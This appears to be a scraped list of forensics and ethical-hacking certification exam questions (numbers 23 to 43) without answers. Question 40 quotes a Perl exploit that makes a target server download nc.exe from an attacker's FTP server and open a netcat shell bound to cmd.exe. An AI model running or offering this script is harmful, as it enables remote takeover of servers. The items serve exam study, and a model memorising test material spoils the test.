NO.23 Which of the following refers to the ability to ensure that the data is not modified or tampered with?

NO.24 Which of the following classes of hackers describes an individual who uses his computer knowledge for breaking security laws, invading privacy, and making information systems insecure?

NO.25 Which of the following tools is used to extract human understandable interpretation from the computer binary files?

NO.26 Which of the following types of firewall ensures that the packets are part of the established session?

NO.27 In a Windows 98 computer, which of the following utilities is used to convert a FAT16 partition to FAT32?

NO.28 John works as a professional Ethical Hacker. He has been assigned the project of testing the security of www.we-are-secure.com. He enters the following command on the Linux terminal:
chmod -rwSr—– secure.c
Considering the above scenario, which of the following statements is true?

NO.29 You want to upgrade a partition in your computer’s hard disk drive from FAT to NTFS. Which of the following DOS commands will you use to accomplish this?

NO.30 Which of the following is the process of overwriting all addressable locations on a disk?

NO.31 Which of the following types of evidence is considered as the best evidence?

NO.32 Which of the following tables is formed by NTFS file system to keep the track of files, to store metadata, and their location?

NO.33 Brutus is a password cracking tool that can be used to crack the following authentications:
HTTP (Basic Authentication)
HTTP (HTML Form/CGI)
POP3 (Post Office Protocol v3)
FTP (File Transfer Protocol)
SMB (Server Message Block)
Telnet
Which of the following attacks can be performed by Brutus for password cracking?
Each correct answer represents a complete solution. Choose all that apply.

NO.34 Peter works as a Computer Hacking Forensic Investigator for SecureEnet Inc. He has been assigned with a project of investigating a disloyal employee who is accused of stealing secret data from the company and selling it to the competitor company. Peter is required to collect proper evidences and information to present before the court for prosecution. Which of the following parameters is necessary for successful prosecution of this corporate espionage?

NO.35 Peter works as a Computer Hacking Forensic Investigator. He has been called by an organization to conduct a seminar to give necessary information related to sexual harassment within the work place. Peter started with the definition and types of sexual harassment. He then wants to convey that it is important that records of the sexual harassment incidents should be maintained, which helps in further legal prosecution.
Which of the following data should be recorded in this documentation?
Each correct answer represents a complete solution. Choose all that apply.

NO.36 A customer comes to you stating that his hard drive has crashed. He had backed up the hard drive, but some files on it were encrypted with Windows Encrypted File System (EFS). What do you need to do to be able to give him access to those restored encrypted files?

NO.37 Based on the case study, to implement more security, which of the following additional technologies should you implement for laptop computers?
(Click the Exhibit button on the toolbar to see the case study.)
Each correct answer represents a complete solution. Choose two.

NO.38 You work as the Network Administrator for McNeil Inc. The company has a Unix-based network. You want to print the super block and block the group information for the filesystem present on a system.
Which of the following Unix commands can you use to accomplish the task?

NO.39 What is the name of the group of blocks which contains information used by the operating system in Linux system?

NO.40 Adam, a malicious hacker performs an exploit, which is given below:
#################################################################
$port = 53;
# Spawn cmd.exe on port X
$your = “192.168.1.1”;# Your FTP Server 89
$user = “Anonymous”;# login as
$pass = ‘[email protected]’;# password
#################################################################
$host = $ARGV[0];
print “Starting …n”;
print “Server will download the file nc.exe from $your FTP server.n”; system(“perl msadc.pl -h $host -C “echo open $your >sasfile””); system(“perl msadc.pl -h $host -C “echo $user>>sasfile””); system(“perl msadc.pl -h
$host -C “echo $pass>>sasfile””); system(“perl msadc.pl -h $host -C “echo bin>>sasfile””); system(“perl msadc.pl -h $host -C “echo get nc.exe>>sasfile””); system(“perl msadc.pl -h $host -C
“echo get hacked.
html>>sasfile””); system(“perl msadc.pl -h $host -C “echo quit>>sasfile””); print
“Server is downloading …
n”;
system(“perl msadc.pl -h $host -C “ftp -s:sasfile””); print “Press ENTER when download is finished …
(Have a ftp server)n”;
$o=; print “Opening …n”;
system(“perl msadc.pl -h $host -C “nc -l -p $port -e cmd.exe””); print “Done.n”;
#system(“telnet $host $port”); exit(0);
Which of the following is the expected result of the above exploit?

NO.41 Which of the following statements is NOT true about the file slack spaces in Windows operating system?

NO.42 You work as a Network Administrator for NetTech Inc. The company’s network is connected to the Internet. For security, you want to restrict unauthorized access to the network with minimum administrative effort. You want to implement a hardware-based solution. What will you do to accomplish this?

NO.43 Which of the following is the process of overwriting all addressable locations on a disk?